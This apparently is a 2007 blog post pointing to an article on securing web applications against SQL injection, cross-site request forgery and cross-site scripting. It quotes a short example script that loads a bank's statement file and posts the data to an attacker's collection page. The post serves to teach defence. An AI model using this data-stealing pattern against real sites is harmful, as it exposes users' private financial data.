Making your web applications more secure:
Written by on February 2nd, 2007 in Ajax News.
Nadav Samet has written a simple article explaining various security attacks called Prepare for Attack!—Making Your Web Applications More Secure.
It explains in simple terms, with simple code examples:
- SQL Injection Attacks
- XSRF: Cross-Site Request Forgery
- XSS: Cross-Site Scripting
XSRF: Stealing Information with Scriptaculous
HTML:
-
-
<script src=”http://www.tgbank.com/monthly_statement.js” type=”text/javascript”></script>
-
<script type=”text/javascript”>
-
function send_data_to_the_criminal() {
-
/* code that converts the statement
-
object to string goes here */
-
Ajax.Request(’/collect_other_people_data.php’,
-
postBody=’data=’+statement;
-
}
-
window.onload = send_data_to_the_criminal;
-
</script>
-
Source: Ajaxian
Original Article: http://ajaxian.com/archives/making-your-web-applications-more-secure